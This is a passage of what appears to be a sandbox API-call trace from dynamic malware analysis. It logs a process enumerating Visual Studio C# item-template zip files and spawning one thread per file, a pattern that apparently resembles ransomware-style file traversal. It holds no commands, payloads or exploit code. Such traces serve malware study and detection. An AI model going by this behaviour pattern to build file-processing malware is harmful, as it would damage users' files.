8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip" [0225.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced04a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x964 [0225.616] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f83e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeFile.zip", cAlternateFileName="")) returned 1 [0225.616] wcscmp (_String1="CodeFile.zip", _String2=".") returned 1 [0225.616] wcscmp (_String1="CodeFile.zip", _String2="..") returned 1 [0225.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1cecfda0 [0225.617] wcscpy (in: _Dest=0x1cecfda0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0225.617] wcscat (in: _Dest=0x1cecfda0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0225.617] wcscat (in: _Dest=0x1cecfda0, _Source="CodeFile.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip" [0225.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cecfda0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4 [0225.617] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10fa9fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataSet.zip", cAlternateFileName="")) returned 1 [0225.617] wcscmp (_String1="DataSet.zip", _String2=".") returned 1 [0225.617] wcscmp (_String1="DataSet.zip", _String2="..") returned 1 [0225.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1ced11c0 [0225.618] wcscpy (in: _Dest=0x1ced11c0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0225.618] wcscat (in: _Dest=0x1ced11c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0225.618] wcscat (in: _Dest=0x1ced11c0, _Source="DataSet.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip" [0225.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced11c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8bc [0225.618] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10ff6270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmptyDatabase.zip", cAlternateFileName="EMPTYD~1.ZIP")) returned 1 [0225.618] wcscmp (_String1="EmptyDatabase.zip", _String2=".") returned 1 [0225.619] wcscmp (_String1="EmptyDatabase.zip", _String2="..") returned 1 [0225.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x423aabf0 [0225.619] wcscpy (in: _Dest=0x423aabf0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0225.619] wcscat (in: _Dest=0x423aabf0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0225.619] wcscat (in: _Dest=0x423aabf0, _Source="EmptyDatabase.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip" [0225.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x423aabf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x291c [0225.620] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x585, dwReserved0=0x0, dwReserved1=0x0, cFileName="Form.zip", cAlternateFileName="")) returned 1 [0225.620] wcscmp (_String1="Form.zip", _String2=".") returned 1 [0225.620] wcscmp (_String1="Form.zip", _String2="..") returned 1 [0225.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1ced10e0 [0225.620] wcscpy (in: _Dest=0x1ced10e0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0225.620] wcscat (in: _Dest=0x1ced10e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0225.620] wcscat (in: _Dest=0x1ced10e0, _Source="Form.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip" [0225.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced10e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1408 [0225.621] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x303, dwReserved0=0x0, dwReserved1=0x0, cFileName="Interface.zip", cAlternateFileName="INTERF~1.ZIP")) returned 1 [0225.621] wcscmp (_String1="Interface.zip", _String2=".") returned 1 [0225.621] wcscmp (_String1="Interface.zip", _String2="..") returned 1 [0225.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x1ced1380 [0225.621] wcscpy (in: _Dest=0x1ced1380, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0225.621] wcscat (in: _Dest=0x1ced1380, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0225.621] wcscat (in: _Dest=0x1ced1380, _Source="Interface.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip" [0225.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced1380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3290 [0225.622] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x3719, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDIParent.zip", cAlternateFileName="MDIPAR~1.ZIP")) returned 1 [0225.622] wcscmp (_String1="MDIParent.zip", _String2=".") returned 1 [0225.622] wcscmp (_String1="MDIParent.zip", _String2="..") returned 1 [0225.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x1ced09e0 [0225.624] wcscpy (in: _Dest=0x1ced09e0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0225.624] wcscat (in: _Dest=0x1ced09e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0225.624] wcscat (in: _Dest=0x1ced09e0, _Source="MDIParent.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip" [0225.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced09e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x153c [0225.626] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x83f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource.zip", cAlternateFileName="")) returned 1 [0225.626] wcscmp (_String1="Resource.zip", _String2=".") returned 1 [0225.626] wcscmp (_String1="Resource.zip", _String2="..") returned 1 [0225.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1ced03c0 [0225.626] wcscpy (in: _Dest=0x1ced03c0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0225.626] wcscat (in: _Dest=0x1ced03c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0225.626] wcscat (in: _Dest=0x1ced03c0, _Source="Resource.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip" [0225.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced03c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4c [0225.627] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x85a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResourceInternal.zip", cAlternateFileName="RESOUR~1.ZIP")) returned 1 [0225.627] wcscmp (_String1="ResourceInternal.zip", _String2=".") returned 1 [0225.627] wcscmp (_String1="ResourceInternal.zip", _String2="..") returned 1 [0225.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x423aace0 [0225.627] wcscpy (in: _Dest=0x423aace0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0225.627] wcscat (in: _Dest=0x423aace0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0225.627] wcscat (in: _Dest=0x423aace0, _Source="ResourceInternal.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip" [0225.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x423aace0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c7c [0225.628] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x3b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings.zip", cAlternateFileName="")) returned 1 [0225.628] wcscmp (_String1="Settings.zip", _String2=".") returned 1 [0225.628] wcscmp (_String1="Settings.zip", _String2="..") returned 1 [0225.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1ced0120 [0225.629] wcscpy (in: _Dest=0x1ced0120, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0225.629] wcscat (in: _Dest=0x1ced0120, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0225.629] wcscat (in: _Dest=0x1ced0120, _Source="Settings.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip" [0225.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced0120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518 [0225.630] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x3d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsInternal.zip", cAlternateFileName="SETTIN~1.ZIP")) returned 1 [0225.630] wcscmp (_String1="SettingsInternal.zip", _String2=".") returned 1 [0225.630] wcscmp (_String1="SettingsInternal.zip", _String2="..") returned 1 [0225.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x423aadd0 [0225.630] wcscpy (in: _Dest=0x423aadd0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0225.630] wcscat (in: _Dest=0x423aadd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0225.630] wcscat (in: _Dest=0x423aadd0, _Source="SettingsInternal.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip" [0225.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x423aadd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3128 [0225.631] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x111e5450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextFile.zip", cAlternateFileName="")) returned 1 [0225.631] wcscmp (_String1="TextFile.zip", _String2=".") returned 1 [0225.631] wcscmp (_String1="TextFile.zip", _String2="..") returned 1 [0225.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1cecff60 [0225.631] wcscpy (in: _Dest=0x1cecff60, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0225.632] wcscat (in: _Dest=0x1cecff60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0225.632] wcscat (in: _Dest=0x1cecff60, _Source="TextFile.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip" [0225.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cecff60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd5c [0225.632] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserControl.zip", cAlternateFileName="USERCO~1.ZIP")) returned 1 [0225.632] wcscmp (_String1="UserControl.zip", _String2=".") returned 1 [0225.632] wcscmp (_String1="UserControl.zip", _String2="..") returned 1 [0225.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1ced0ac0 [0225.633] wcscpy (in: _Dest=0x1ced0ac0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0225.633] wcscat (in: _Dest=0x1ced0ac0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0225.633] wcscat (in: _Dest=0x1ced0ac0, _Source="UserControl.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip" [0225.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced0ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x960 [0225.634] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x558, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizer.zip", cAlternateFileName="VISUAL~1.ZIP")) returned 1 [0225.634] wcscmp (_String1="Visualizer.zip", _String2=".") returned 1 [0225.634] wcscmp (_String1="Visualizer.zip", _String2="..") returned 1 [0225.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd6) returned 0x1ced12a0 [0225.634] wcscpy (in: _Dest=0x1ced12a0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0225.634] 